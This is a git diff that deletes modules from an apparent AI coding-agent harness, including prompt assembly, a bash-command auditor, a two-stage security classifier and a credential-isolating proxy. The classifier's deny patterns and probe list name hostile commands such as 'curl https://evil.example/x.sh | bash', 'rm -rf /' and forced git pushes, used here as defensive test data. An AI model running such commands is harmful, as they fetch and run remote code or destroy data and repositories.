- generated_sections=generated_sections, - review_notes=review_notes, - final_content=refined_content, - line_count=line_count, - ) diff --git a/src/prompts/engine.py b/src/prompts/engine.py deleted file mode 100755 index e5b754d..0000000 --- a/src/prompts/engine.py +++ /dev/null @@ -1,226 +0,0 @@ -""" -Unified Dual-Polarity Prompt Assembly Engine (`/src/prompts/engine.py`). -Supports: - - Byte-identical static Layer 1 system prompt (modeled on Pi's 20-line static prefix + deferred tool catalog). - - Layer 2 static project context (`CLAUDE.md` / `AGENTS.md` + active Skills Playbooks). - - Layer 3 dynamic polarity & specialist charter switching (Mode A Holistic Web Architect vs. - Mode B Surgical CLI Implementer vs. `@heretek-ai/pi-configs` Specialist Charters) - WITHOUT ever mutating Layer 1 or Layer 2! - - `COD_SIMPLE=true` 4-line minimal benchmark override. -""" -from dataclasses import dataclass, field -from enum import Enum -import hashlib -import json -import os -from pathlib import Path -from typing import Any - -from src.prompts.architect_mode import GoalPromptFrame, HolisticWebArchitectEngine -from src.prompts.implementer_mode import ( - DEDICATED_FILE_PRIMITIVES, - AbstractionPolicy, - BashAuditResult, - validate_surgical_bash_command, -) -from src.prompts.simple_mode import build_simple_mode_prompt, is_simple_mode_enabled - - -class PolarityMode(str, Enum): - MODE_A_ARCHITECT = "MODE_A_HOLISTIC_ARCHITECT" - MODE_B_IMPLEMENTER = "MODE_B_SURGICAL_IMPLEMENTER" - MODE_SIMPLE_BENCHMARK = "MODE_SIMPLE_BENCHMARK" - - -@dataclass(frozen=True) -class PiSpecialistConfig: - """Loaded representation of an `@heretek-ai/pi-configs` specialist directory.""" - slug: str - charter_markdown: str - settings: dict[str, Any] - hooks_yaml: str - skills: dict[str, str] = field(default_factory=dict) - - -class PromptAssemblyEngine: - """ - Assembles prompts for `cod.ai` while enforcing Invariant #1 (Byte-Identical Static Prefix) - and Invariant #3 (Dual-Polarity Mode Switching). - """ - - def __init__( - self, - workspace_root: str, - skills_root: str | None = None, - pi_specialists_root: str | None = None, - env: dict[str, str] | None = None, - ) -> None: - self.workspace_root = Path(workspace_root).resolve() - self.skills_root = Path(skills_root) if skills_root else self.workspace_root / "skills" - self.pi_specialists_root = ( - Path(pi_specialists_root) - if pi_specialists_root - else self.workspace_root / "pi_configs_upstream" / "agents" - ) - self.env = env if env is not None else dict(os.environ) - self.architect_engine = HolisticWebArchitectEngine() - self._locked_layer1_hash: str | None = None - - def build_static_layer1_system_prompt( - self, - core_tools: tuple[str, ...] = DEDICATED_FILE_PRIMITIVES, - deferred_tool_names: list[str] | None = None, - ) -> str: - """ - Builds Layer 1 (System Prompt + Deferred Tool Directory). - Modeled on Pi's ~20-line cache-disciplined prompt: ZERO timestamps, ZERO random IDs, - and ZERO volatile session state so the prefix hash never changes across turns. - If `COD_SIMPLE=true`, returns the 4-line minimal prompt. - """ - if is_simple_mode_enabled(self.env): - prompt = build_simple_mode_prompt( - cwd=str(self.workspace_root), - fixed_date=self.env.get("COD_FIXED_DATE", "2026-10-24"), - ) - self._verify_or_lock_layer1(prompt) - return prompt - - deferred = sorted(deferred_tool_names or []) - deferred_line = ", ".join(deferred) if deferred else "none" - core_line = ", ".join(core_tools) - - lines = [ - "You are cod.ai, a next-generation dual-polarity agentic coding harness and orchestration platform.", - "Core Invariant 1: Preserve byte-identical static prefixes across Layer 1 and Layer 2.", - "Core Invariant 2: Discover deferred tools on demand via ToolSearch; never dump unused schemas into Layer 1.", - "Core Invariant 3: Operate in Mode A (Holistic Web Architect) for design/greenfield synthesis and Mode B (Surgical CLI Implementer) for repository execution.", - "Core Invariant 4: Maintain context utilization within the 60-80% Attention Budget Governor ceiling.", - "Core Invariant 5: Delegate multi-query (>3 Glob/Grep) discovery to the read-only Explore sub-agent and verify via the Adversarial Verifier.", - "Core Invariant 6: Route all tool executions through the local security policy proxy and respect allow/soft_deny rules.", - f"Active Core Primitives (non-deferred): {core_line}, ToolSearch", - f"Deferred Tool Catalog (load via ToolSearch): {deferred_line}", - f"Workspace Root: {self.workspace_root}", - ] - prompt = "\n".join(lines) - self._verify_or_lock_layer1(prompt) - return prompt - - def _verify_or_lock_layer1(self, prompt: str) -> None: - digest = hashlib.sha256(prompt.encode("utf-8")).hexdigest() - if self._locked_layer1_hash is None: - self._locked_layer1_hash = digest - elif self._locked_layer1_hash != digest: - raise RuntimeError( - f"Invariant #1 Violation: Layer 1 system prompt hash mutated mid-session " - f"(expected {self._locked_layer1_hash}, got {digest})!" - ) - - def load_skill_playbook(self, domain: str) -> str: - """Loads `/skills//SKILL.md`.""" - skill_path = self.skills_root / domain / "SKILL.md" - if not skill_path.exists(): - raise FileNotFoundError(f"Skill playbook not found: {skill_path}") - return skill_path.read_text(encoding="utf-8").strip() - - def load_pi_specialist(self, slug: str) -> PiSpecialistConfig: - """Loads an `@heretek-ai/pi-configs` specialist from `agents//`.""" - agent_dir = self.pi_specialists_root / slug - if not agent_dir.exists(): - raise FileNotFoundError(f"Pi specialist '{slug}' not found at {agent_dir}") - - charter_path = agent_dir / "AGENTS.md" - settings_path = agent_dir / ".pi" / "settings.json" - hooks_path = agent_dir / ".pi" / "hook" / "hooks.yaml" - skills_dir = agent_dir / ".pi" / "skills" - - charter = charter_path.read_text(encoding="utf-8") if charter_path.exists() else "" - settings = ( - json.loads(settings_path.read_text(encoding="utf-8")) - if settings_path.exists() - else {} - ) - hooks = hooks_path.read_text(encoding="utf-8") if hooks_path.exists() else "" - loaded_skills: dict[str, str] = {} - if skills_dir.exists(): - for sfile in skills_dir.glob("*/SKILL.md"): - loaded_skills[sfile.parent.name] = sfile.read_text(encoding="utf-8") - - return PiSpecialistConfig( - slug=slug, - charter_markdown=charter, - settings=settings, - hooks_yaml=hooks, - skills=loaded_skills, - ) - - def build_layer3_polarity_switch( - self, - mode: PolarityMode, - context: str, - objective: str, - project_instructions: str = "", - skill_domains: list[str] | None = None, - pi_specialist_slug: str | None = None, - architect_authorized_abstractions: bool = False, - ) -> str: - """ - Generates a Layer 3 `` / mid-conversation `role: "system"` payload - that switches the agent between Mode A (Holistic Web Architect), Mode B (Surgical CLI Implementer), - or a specific `@heretek-ai/pi-configs` specialist WITHOUT mutating Layer 1 or Layer 2. - """ - playbooks = [self.load_skill_playbook(d) for d in (skill_domains or [])] - specialist_block = "" - if pi_specialist_slug: - spec = self.load_pi_specialist(pi_specialist_slug) - specialist_block = ( - f'\n\n' - f"{spec.charter_markdown.strip()}\n" - f"" - ) - - if mode == PolarityMode.MODE_A_ARCHITECT: - goal_frame: GoalPromptFrame = self.architect_engine.build_goal_prompt( - context=context, - objective=objective, - skills_playbooks=playbooks, - ) - return ( - f'\n' - f"{goal_frame.render_xml()}" - f"{specialist_block}\n" - f"" - ) - - if mode == PolarityMode.MODE_B_IMPLEMENTER: - policy = AbstractionPolicy.from_project_instructions( - project_instructions, architect_authorized=architect_authorized_abstractions - ) - playbooks_xml = ( - "\n\n" + "\n\n".join(playbooks) + "\n" - if playbooks - else "" - ) - return ( - f'\n' - f"\n" - f"1. Use ONLY dedicated file primitives ({', '.join(DEDICATED_FILE_PRIMITIVES)}) for reading, searching, and editing files.\n" - f"2. Raw Bash commands (`cat`, `head`, `tail`, `sed`, `awk`, `grep`, `find`, `>`) for file manipulation are strictly FORBIDDEN.\n" - f"\n" - f"{policy.render_policy_block()}" - f"{playbooks_xml}" - f"{specialist_block}\n" - f"\n{objective.strip()}\n\n" - f"" - ) - - return f'{objective.strip()}' - - def audit_bash_tool_call(self, mode: PolarityMode, command: str) -> BashAuditResult: - """Enforces Mode A (no raw Bash) and Mode B (no file-manipulation Bash) tool rules.""" - if mode == PolarityMode.MODE_A_ARCHITECT: - return BashAuditResult( - allowed=False, - violating_command="Bash (in Mode A)", - remediation="Mode A (Holistic Web Architect) forbids Bash execution to preserve n^2 self-attention purity. Switch to Mode B for test/build execution.", - ) - return validate_surgical_bash_command(command) diff --git a/src/prompts/implementer_mode.py b/src/prompts/implementer_mode.py deleted file mode 100755 index 6e106c3..0000000 --- a/src/prompts/implementer_mode.py +++ /dev/null @@ -1,127 +0,0 @@ -""" -Mode B — "Surgical CLI Implementer" (Modeled on Claude Code + Override Tunings). -Enforces: - 1. Dedicated file primitives (`Read`, `Edit`, `Write`, `Glob`, `Grep`) for all file operations. - 2. Strict ban on raw `Bash` file-manipulation commands (`cat`, `head`, `tail`, `sed`, `awk`, `perl -pi`, `echo >`) - so that all file reads and diffs are structured, auditable, and cache-governed. - 3. Neutralization of Claude Code's default anti-abstraction handicap when authorized by `CLAUDE.md` / - `AGENTS.md` or the Mode A Architect spec (explicitly permitting modular helpers, comprehensive boundary - validation, and clean abstractions). -""" -from dataclasses import dataclass -import re -import shlex - - -DEDICATED_FILE_PRIMITIVES: tuple[str, ...] = ("Read", "Edit", "Write", "Glob", "Grep") - -# Regex patterns catching raw Bash file manipulation commands across pipe/chain segments -FORBIDDEN_BASH_FILE_COMMANDS: dict[str, str] = { - "cat": "Use the dedicated `Read` primitive instead of `cat` to inspect files.", - "head": "Use the dedicated `Read` primitive (with offset/limit) instead of `head`.", - "tail": "Use the dedicated `Read` primitive (with offset/limit) instead of `tail`.", - "sed": "Use the dedicated `Edit` primitive instead of `sed` so all diffs are structured and auditable.", - "awk": "Use the dedicated `Edit` or `Read` primitive instead of `awk` for file manipulation.", - "grep": "Use the dedicated `Grep` primitive instead of raw bash `grep`/`rg`.", - "rg": "Use the dedicated `Grep` primitive instead of raw bash `rg`.", - "find": "Use the dedicated `Glob` primitive instead of raw bash `find`.", - "fd": "Use the dedicated `Glob` primitive instead of raw bash `fd`.", -} - - -@dataclass(frozen=True) -class AbstractionPolicy: - """ - Controls whether Claude Code's default anti-abstraction rules are neutralized - by `CLAUDE.md` / `AGENTS.md` or an upstream Mode A Architect specification. - """ - allow_modular_helpers: bool = False - allow_boundary_validation: bool = False - allow_clean_abstractions: bool = False - source_directive: str = "default_surgical_minimal" - - @classmethod - def from_project_instructions(cls, project_markdown: str, architect_authorized: bool = False) -> "AbstractionPolicy": - text_lower = project_markdown.lower() - helpers = architect_authorized or ("authorize_modular_helpers" in text_lower) or ("allow modular helpers" in text_lower) - validation = architect_authorized or ("authorize_boundary_validation" in text_lower) or ("comprehensive boundary validation" in text_lower) - abstractions = architect_authorized or ("authorize_clean_abstractions" in text_lower) or ("clean abstractions" in text_lower) - source = "architect_and_agents_md_override" if (helpers or validation or abstractions) else "default_surgical_minimal" - return cls( - allow_modular_helpers=helpers, - allow_boundary_validation=validation, - allow_clean_abstractions=abstractions, - source_directive=source, - ) - - def render_policy_block(self) -> str: - if self.allow_modular_helpers or self.allow_boundary_validation or self.allow_clean_abstractions: - return ( - '\n' - "The default CLI anti-abstraction handicap is NEUTRALIZED for this session:\n" - f"- Modular Helpers Authorized: {self.allow_modular_helpers}\n" - f"- Comprehensive Boundary Validation Authorized: {self.allow_boundary_validation}\n" - f"- Clean Domain Abstractions Authorized: {self.allow_clean_abstractions}\n" - "Build cohesive, well-factored helper modules and explicit input/output boundary validators as specified.\n" - "" - ) - return ( - '\n' - "Focus strictly on surgical modifications to existing files. Avoid unrequested abstractions unless authorized by Mode A Architect specs or CLAUDE.md/AGENTS.md.\n" - "" - ) - - -@dataclass(frozen=True) -class BashAuditResult: - allowed: bool - violating_command: str | None = None - remediation: str | None = None - - -def split_shell_pipeline(command: str) -> list[str]: - """Splits a shell command string across `|`, `&&`, `||`, and `;` operators.""" - return [seg.strip() for seg in re.split(r"\|\||&&|[|;]", command) if seg.strip()] - - -def validate_surgical_bash_command(command: str) -> BashAuditResult: - """ - Audits a proposed Bash command in Mode B (Surgical CLI Implementer). - Blocks raw file manipulation (`cat`, `head`, `tail`, `sed`, `awk`, `grep`, `find`, or `>` file redirects) - so that all file inspection and editing flows through `Read`, `Edit`, `Write`, `Glob`, and `Grep`. - """ - segments = split_shell_pipeline(command) - for seg in segments: - # Check for raw file overwrite redirection (excluding /dev/null or fd duplication like 2>&1) - cleaned_redirects = re.sub(r"[0-9]*>&[0-9]+|>[> ]*/dev/null", "", seg) - if re.search(r"(^|\s)>>?\s*[^\s&]+", cleaned_redirects): - return BashAuditResult( - allowed=False, - violating_command="shell_redirection (> / >>)", - remediation="Use the dedicated `Write` or `Edit` primitive instead of shell output redirection (`>` or `>>`) to modify files.", - ) - - try: - tokens = shlex.split(seg) - except ValueError: - tokens = seg.split() - - if not tokens: - continue - - # Skip leading ENV=val assignments - cmd_idx = 0 - while cmd_idx < len(tokens) and "=" in tokens[cmd_idx] and not tokens[cmd_idx].startswith("-"): - cmd_idx += 1 - if cmd_idx >= len(tokens): - continue - - executable = tokens[cmd_idx].rsplit("/", 1)[-1] - if executable in FORBIDDEN_BASH_FILE_COMMANDS: - return BashAuditResult( - allowed=False, - violating_command=executable, - remediation=FORBIDDEN_BASH_FILE_COMMANDS[executable], - ) - - return BashAuditResult(allowed=True) diff --git a/src/prompts/simple_mode.py b/src/prompts/simple_mode.py deleted file mode 100755 index eee1145..0000000 --- a/src/prompts/simple_mode.py +++ /dev/null @@ -1,31 +0,0 @@ -""" -`COD_SIMPLE=true` Override (Modeled on Claude Code's `02_simple_mode.md`). -Strips all orchestration, sub-agent, and skills overhead down to a strict 4-line minimal prompt -(Identity, CWD, Date, Direct Execution Mandate) for raw model benchmarking. -""" -import os -from datetime import datetime, timezone - - -def build_simple_mode_prompt(cwd: str | None = None, fixed_date: str | None = None) -> str: - """ - Returns an exact 4-line minimal system prompt when COD_SIMPLE=true is active. - If fixed_date is omitted, uses YYYY-MM-DD (static per day to preserve intra-day prefix cache). - """ - working_dir = cwd or os.getcwd() - date_str = fixed_date or datetime.now(timezone.utc).strftime("%Y-%m-%d") - lines = [ - "Identity: You are cod.ai running in COD_SIMPLE minimal benchmark mode.", - f"CWD: {working_dir}", - f"Date: {date_str}", - "Directive: Answer directly and execute requested code changes using only core file primitives without orchestration overhead.", - ] - assert len(lines) == 4, "COD_SIMPLE prompt must be strictly 4 lines" - return "\n".join(lines) - - -def is_simple_mode_enabled(env: dict[str, str] | None = None) -> bool: - """Checks whether COD_SIMPLE=true is set in the environment dictionary or os.environ.""" - source = env if env is not None else os.environ - val = source.get("COD_SIMPLE", "").strip().lower() - return val in ("true", "1", "yes") diff --git a/src/security/__init__.py b/src/security/__init__.py deleted file mode 100755 index c737e99..0000000 --- a/src/security/__init__.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Phase 5: Proxmox VM Containment Perimeter & Security Classifier.""" -from src.security.classifier import ( - AutoModeCritiqueReport, - ClassifierVerdict, - RuleCritiqueFinding, - SecurityPolicyConfig, - TwoStageSecurityClassifier, -) -from src.security.proxy_sandbox import ( - SENSITIVE_ENV_KEYS, - CredentialVaultProxy, - PluggableSandboxRunner, - ProxyRequestResult, - SandboxExecutionResult, -) -from src.security.telemetry import ( - SkillDoctorDiagnostic, - SkillDoctorTelemetryEngine, - TelemetrySnapshot, -) - -__all__ = [ - "AutoModeCritiqueReport", - "ClassifierVerdict", - "CredentialVaultProxy", - "PluggableSandboxRunner", - "ProxyRequestResult", - "RuleCritiqueFinding", - "SENSITIVE_ENV_KEYS", - "SandboxExecutionResult", - "SecurityPolicyConfig", - "SkillDoctorDiagnostic", - "SkillDoctorTelemetryEngine", - "TelemetrySnapshot", - "TwoStageSecurityClassifier", -] diff --git a/src/security/classifier.py b/src/security/classifier.py deleted file mode 100755 index 89fee04..0000000 --- a/src/security/classifier.py +++ /dev/null @@ -1,346 +0,0 @@ -""" -2-Stage Auto-Mode Security Classifier & Rule Critique Utility (`/src/security/classifier.py`). -Modeled on Claude Code's `12_yolo_auto_mode_classifier.md` and `17_auto_mode_critique.md`: - 1. Evaluates tool invocations against configurable `allow`, `soft_deny`, and `environment` rules - plus `` intent. - 2. Strips untrusted raw `tool_result` outputs from the classifier's input so hostile file content - cannot prompt-inject the security approver! - 3. Shell-Operator Aware Decomposition: Every subcommand of a pipe (`|`) or chain (`&&`, `;`, `||`) - must pass independently; a `soft_deny` rule always overrides an `allow` rule. - 4. Two-Stage Evaluation: - - Stage 1 (Fast Low-Latency Check): Deterministic regex/AST rule evaluation (<1ms). - - Stage 2 (Extended Thinking Escalation): Triggered when blast radius or reversibility - (e.g., `git push --force`, `rm -rf`, `DROP TABLE`, CI/CD workflow mutations, `re-firewall unmask`) - is ambiguous or high-risk. - 5. `cod auto-mode critique` Utility (`17_auto_mode_critique.md`): - Audits user permission rules for clarity, gaps, conflicts (overlapping allow/deny), and actionability. -""" -from dataclasses import dataclass, field -import re -from typing import Any - -from src.prompts.implementer_mode import split_shell_pipeline - - -@dataclass -class SecurityPolicyConfig: - allow_rules: list[str] = field(default_factory=list) - soft_deny_rules: list[str] = field(default_factory=list) - environment_constraints: list[str] = field(default_factory=list) - user_claude_md_intent: str = "" - - -@dataclass -class ClassifierVerdict: - decision: str # "ALLOW", "SOFT_DENY", "ESCALATED_DENY", "ESCALATED_ALLOW" - stage_reached: int # 1 or 2 - exit_code: int # 0 for allow, 2 for deterministic hook block - matched_rule: str - blast_radius_score: int # 0-10 - reversible: bool - stage2_thinking_trace: str | None = None - stripped_untrusted_tool_results: bool = True - - -@dataclass -class RuleCritiqueFinding: - severity: str # "CRITICAL_CONFLICT", "AMBIGUITY_GAP", "OVERBROAD_ALLOW", "ACTIONABILITY" - rule: str - issue: str - suggested_fix: str - - -@dataclass -class AutoModeCritiqueReport: - overall_health: str # "PASS", "NEEDS_REVISION" - findings: list[RuleCritiqueFinding] = field(default_factory=list) - summary_markdown: str = "" - - -HIGH_BLAST_RADIUS_PATTERNS: list[tuple[re.Pattern[str], str, int]] = [ - (re.compile(r"git\s+push\s+.*(--force|-f\b)", re.IGNORECASE), "Destructive remote git history overwrite", 9), - (re.compile(r"rm\s+-[a-zA-Z]*r[a-zA-Z]*f", re.IGNORECASE), "Recursive forced filesystem deletion", 9), - (re.compile(r"\b(DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE)\b", re.IGNORECASE), "Irreversible database schema/data destruction", 10), - (re.compile(r"re-firewall\s+unmask", re.IGNORECASE), "Disables Proxmox egress quarantine perimeter", 8), - (re.compile(r"\.github/workflows/|gitlab-ci\.yml", re.IGNORECASE), "CI/CD pipeline mutation with credential execution risk", 7), - (re.compile(r"curl\s+.*\|\s*(ba)?sh", re.IGNORECASE), "Remote code execution via piped shell script", 10), -] - - -class TwoStageSecurityClassifier: - """ - Implements the 2-Stage Auto-Mode Security Classifier (`12_yolo_auto_mode_classifier.md`) - and `cod auto-mode critique` (`17_auto_mode_critique.md`). - """ - - def __init__(self, policy: SecurityPolicyConfig | None = None) -> None: - self.policy = policy or SecurityPolicyConfig( - allow_rules=[ - r"^git\s+(status|diff|log|worktree|branch|checkout|init|add|commit)\b", - r"^python3\s+(-m\s+unittest|tests/|artifacts/|src/)", - r"^pytest\b", - r"^npm\s+(test|run\s+check)\b", - ], - soft_deny_rules=[ - r"rm\s+-[a-zA-Z]*r[a-zA-Z]*f\s+(/|\.|~|\*)", - r"git\s+push\s+.*(--force|-f\b)", - r"\b(DROP\s+TABLE|DROP\s+DATABASE)\b", - r"curl\s+.*\|\s*(ba)?sh", - ], - environment_constraints=[ - "proxmox_egress_quarantine: isolate local via 127.0.0.1:3128", - "workspace_confinement: writes permitted only under workspace_root or /tmp", - ], - ) - - @staticmethod - def strip_tool_results_from_context(messages: list[dict[str, Any]]) -> list[dict[str, Any]]: - """ - Critical defense from Claude Code's Auto-Mode Classifier: - Strips raw `tool_result` content before passing conversation context to the classifier - so hostile repository files or web payloads cannot prompt-inject the approver. - """ - sanitized: list[dict[str, Any]] = [] - for m in messages: - content = m.get("content") - if isinstance(content, list): - clean_blocks = [] - for b in content: - if isinstance(b, dict) and b.get("type") == "tool_result": - clean_blocks.append({ - "type": "tool_result", - "tool_use_id": b.get("tool_use_id", ""), - "content": "[REDACTED_BY_SECURITY_CLASSIFIER_TO_PREVENT_PROMPT_INJECTION]", - }) - else: - clean_blocks.append(b) - sanitized.append({"role": m.get("role", "user"), "content": clean_blocks}) - else: - sanitized.append(dict(m)) - return sanitized - - def evaluate_command( - self, - command: str, - context_messages: list[dict[str, Any]] | None = None, - ) -> ClassifierVerdict: - """ - Evaluates a proposed tool command through Stage 1 (fast deterministic pipe-aware rules) - and escalates to Stage 2 (extended thinking blast-radius & reversibility analysis) if ambiguous. - """ - if context_messages: - _ = self.strip_tool_results_from_context(context_messages) - - subcommands = split_shell_pipeline(command) - if not subcommands: - subcommands = [command.strip()] - - # Stage 1: Fast deterministic rule evaluation across EVERY pipe/chain subcommand. - # Deny rules strictly take precedence over allow rules. - for sub in subcommands: - for deny_pat in self.policy.soft_deny_rules: - if re.search(deny_pat, sub, re.IGNORECASE): - return ClassifierVerdict( - decision="SOFT_DENY", - stage_reached=1, - exit_code=2, - matched_rule=f"soft_deny: {deny_pat}", - blast_radius_score=9, - reversible=False, - stage2_thinking_trace=None, - stripped_untrusted_tool_results=True, - ) - - # Check if any subcommand triggers high-blast-radius / ambiguous reversibility escalation - for sub in subcommands: - for pattern, reason, score in HIGH_BLAST_RADIUS_PATTERNS: - if pattern.search(sub): - return self._run_stage2_extended_thinking(command, sub, reason, score) - - # Check if ALL subcommands match explicit Stage 1 allow rules - all_explicitly_allowed = True - matched_allows: list[str] = [] - for sub in subcommands: - sub_allowed = False - for allow_pat in self.policy.allow_rules: - if re.search(allow_pat, sub, re.IGNORECASE): - sub_allowed = True - matched_allows.append(allow_pat) - break - if not sub_allowed: - all_explicitly_allowed = False - break - - if all_explicitly_allowed: - return ClassifierVerdict( - decision="ALLOW", - stage_reached=1, - exit_code=0, - matched_rule=f"allow: {', '.join(matched_allows)}", - blast_radius_score=1, - reversible=True, - stage2_thinking_trace=None, - stripped_untrusted_tool_results=True, - ) - - # Ambiguous command not explicitly covered by Stage 1 allow or soft_deny -> Escalate to Stage 2 - return self._run_stage2_extended_thinking( - command, - command, - "Command not matched by Stage 1 fast allowlist; evaluating blast radius and intent.", - blast_score=5, - ) - - def _run_stage2_extended_thinking( - self, - full_command: str, - trigger_subcommand: str, - escalation_reason: str, - blast_score: int, - ) -> ClassifierVerdict: - """ - Stage 2 Extended Thinking Classifier: Evaluates reversibility, blast radius, - environment containment, and `` explicit authorization. - """ - intent_lower = self.policy.user_claude_md_intent.lower() - thinking_lines = [ - "", - f"1. Escalated Subcommand: `{trigger_subcommand}` (from `{full_command}`)", - f"2. Escalation Trigger: {escalation_reason} (Initial Blast Score: {blast_score}/10)", - f"3. Environment Perimeter: {', '.join(self.policy.environment_constraints)}", - f"4. User Intent (): {self.policy.user_claude_md_intent or 'None specified'}", - ] - - # Only allow high-blast actions in Stage 2 if explicitly authorizes that exact operation - explicitly_authorized = ( - ("authorize_firewall_unmask" in intent_lower and "re-firewall unmask" in trigger_subcommand) - or ("authorize_ci_workflow_edit" in intent_lower and ".github/workflows" in trigger_subcommand) - ) - - if blast_score >= 7 and not explicitly_authorized: - thinking_lines.append( - "5. Verdict Rationale: Action has high blast radius / low reversibility and lacks explicit authorization in . Blocking with exit code 2." - ) - thinking_lines.append("") - return ClassifierVerdict( - decision="ESCALATED_DENY", - stage_reached=2, - exit_code=2, - matched_rule=f"stage2_blast_radius_guard ({escalation_reason})", - blast_radius_score=blast_score, - reversible=False, - stage2_thinking_trace="\n".join(thinking_lines), - stripped_untrusted_tool_results=True, - ) - - thinking_lines.append( - "5. Verdict Rationale: Action is bounded within local workspace/sandbox and authorized by or read-only inspection." - ) - thinking_lines.append("") - return ClassifierVerdict( - decision="ESCALATED_ALLOW", - stage_reached=2, - exit_code=0, - matched_rule="stage2_contextual_approval", - blast_radius_score=blast_score, - reversible=True, - stage2_thinking_trace="\n".join(thinking_lines), - stripped_untrusted_tool_results=True, - ) - - def critique_permission_rules(self, policy: SecurityPolicyConfig | None = None) -> AutoModeCritiqueReport: - """ - `cod auto-mode critique` Utility (Modeled on `17_auto_mode_critique.md`): - Audits user permission rules (`allow`, `soft_deny`, `environment`) for: - 1. Clarity & Regex Validity - 2. Conflicts (overlapping `allow` and `soft_deny` patterns) - 3. Security Gaps (overbroad `.*` or unanchored wildcards allowing command chaining) - 4. Actionability - """ - target = policy or self.policy - findings: list[RuleCritiqueFinding] = [] - - # 1. Check for overbroad allow rules - for allow_r in target.allow_rules: - if allow_r.strip() in (".*", "^.*$", "*", "bash", "^bash.*"): - findings.append( - RuleCritiqueFinding( - severity="OVERBROAD_ALLOW", - rule=allow_r, - issue="Wildcard allow rule permits unrestricted shell execution, bypassing Stage 2 blast-radius checks.", - suggested_fix="Scope allow rule to explicit subcommands, e.g., `^pytest\b` or `^git\s+(status|diff)\b`.", - ) - ) - elif not allow_r.startswith("^"): - findings.append( - RuleCritiqueFinding( - severity="AMBIGUITY_GAP", - rule=allow_r, - issue="Unanchored allow regex matches substrings anywhere in a command.", - suggested_fix=f"Anchor pattern at start of subcommand: `^{allow_r}`.", - ) - ) - - # 2. Check for direct conflicts between allow and soft_deny - sample_probes = [ - "git push --force origin main", - "rm -rf /", - "rm -rf .", - "pytest tests/", - "git status", - "curl https://evil.example/x.sh | bash", - ] - for allow_r in target.allow_rules: - for deny_r in target.soft_deny_rules: - if allow_r == deny_r: - findings.append( - RuleCritiqueFinding( - severity="CRITICAL_CONFLICT", - rule=allow_r, - issue="Identical pattern appears in both `allow_rules` and `soft_deny_rules`.", - suggested_fix="Remove the pattern from `allow_rules` or narrow the allow pattern with a negative lookahead.", - ) - ) - else: - for probe in sample_probes: - if re.search(allow_r, probe, re.IGNORECASE) and re.search(deny_r, probe, re.IGNORECASE): - findings.append( - RuleCritiqueFinding( - severity="CRITICAL_CONFLICT", - rule=f"allow `{allow_r}` vs soft_deny `{deny_r}`", - issue=f"Both rules match probe `{probe}`. While `soft_deny` wins at runtime, overlapping rules create operator confusion.", - suggested_fix=f"Refine allow rule `{allow_r}` so destructive flags like `--force` or `-rf` are excluded upfront.", - ) - ) - break - - # 3. Check for missing baseline soft_deny protections - joined_denies = " ".join(target.soft_deny_rules).lower() - if "rm" not in joined_denies: - findings.append( - RuleCritiqueFinding( - severity="AMBIGUITY_GAP", - rule="soft_deny_rules", - issue="No explicit `soft_deny` rule guarding recursive deletion (`rm -rf`).", - suggested_fix="Add `rm\s+-[a-zA-Z]*r[a-zA-Z]*f\s+(/|\.|~|\*)` to `soft_deny_rules`.", - ) - ) - - health = "PASS" if not findings else "NEEDS_REVISION" - md_lines = [ - f"# `cod auto-mode critique` Audit Report — Status: **{health}**", - f"- **Allow Rules Audited**: {len(target.allow_rules)}", - f"- **Soft-Deny Rules Audited**: {len(target.soft_deny_rules)}", - f"- **Findings Count**: {len(findings)}", - "", - ] - for idx, f in enumerate(findings, start=1): - md_lines.append( - f"{idx}. **[{f.severity}]** Rule `{f.rule}`: {f.issue} -> *Fix*: {f.suggested_fix}" - ) - - return AutoModeCritiqueReport( - overall_health=health, - findings=findings, - summary_markdown="\n".join(md_lines), - ) diff --git a/src/security/proxy_sandbox.py b/src/security/proxy_sandbox.py deleted file mode 100755 index 1a45805..0000000 --- a/src/security/proxy_sandbox.py +++ /dev/null @@ -1,209 +0,0 @@ -""" -Tool-Call Inspection Proxy & Pluggable Proxmox VM / gVisor Sandbox (`/src/security/proxy_sandbox.py`). -Implements Phase 5.1 ("How We Contain Claude" + `Heretek-AI/ProxmoxVE` defense-in-depth architecture): - 1. Credential Isolation at the Proxy Boundary: - - Raw API keys (`ANTHROPIC_API_KEY`, `API_SERVER_KEY`, `GITHUB_TOKEN`, `HERETEK_LLM_KEY`) - are stored in an out-of-sandbox Vault memory space and explicitly scrubbed from the - agent worker's environment variables (`os.environ`) and readable filesystem paths. - - When the agent makes an outbound LLM or MCP HTTP request through the local `127.0.0.1` - policy proxy, the proxy verifies the target host against the allowlist (e.g., - `api.anthropic.com`, `llm.heretek.one`) and injects the `x-api-key` / `Authorization` - header on the wire. - - Inspects outbound payloads and inbound tool outputs to block prompt-injection credential - exfiltration attempts. - 2. Pluggable OS Sandbox Driver: - - Automatically detects whether `bwrap` (`bubblewrap`) + `re-firewall` (`iptables`) are - available (target Proxmox VE LXC/VM appliance) or falls back to rootless Linux namespace/process - isolation (current Debian 12 gVisor VM). -""" -from dataclasses import dataclass, field -import os -from pathlib import Path -import re -import shutil -import subprocess -from typing import Any - - -SENSITIVE_ENV_KEYS: tuple[str, ...] = ( - "ANTHROPIC_API_KEY", - "OPENAI_API_KEY", - "API_SERVER_KEY", - "GITHUB_TOKEN", - "HERETEK_LLM_KEY", - "AWS_SECRET_ACCESS_KEY", -) - - -@dataclass -class ProxyRequestResult: - allowed: bool - target_url: str - injected_auth_header: bool - sanitized_headers: dict[str, str] - status_reason: str - blocked_exfiltration: bool = False - - -@dataclass -class SandboxExecutionResult: - driver_used: str # "proxmox_bubblewrap" or "gvisor_rootless_process" - command: list[str] - exit_code: int - stdout: str - stderr: str - credentials_exposed_in_env: bool - - -class CredentialVaultProxy: - """ - Holds raw API credentials outside the agent's readable filesystem/env sandbox - and injects auth headers strictly at the local 127.0.0.1 proxy boundary for allowlisted domains. - """ - - def __init__( - self, - credentials: dict[str, str] | None = None, - allowlisted_hosts: list[str] | None = None, - ) -> None: - # Store secrets in private closure dictionary, never on disk inside workspace - self._vault: dict[str, str] = dict(credentials or {}) - self.allowlisted_hosts: set[str] = set( - allowlisted_hosts - or [ - "api.anthropic.com", - "llm.heretek.one", - "127.0.0.1", - "localhost", - ] - ) - - def register_secret(self, key_name: str, secret_value: str) -> None: - self._vault[key_name] = secret_value - - def build_sanitized_agent_env(self, base_env: dict[str, str] | None = None) -> dict[str, str]: - """ - Strips all raw API credentials from the environment passed to agent subprocesses - and sets `HTTP_PROXY` / `HTTPS_PROXY` to `http://127.0.0.1:3128` (matching `re-firewall`). - """ - 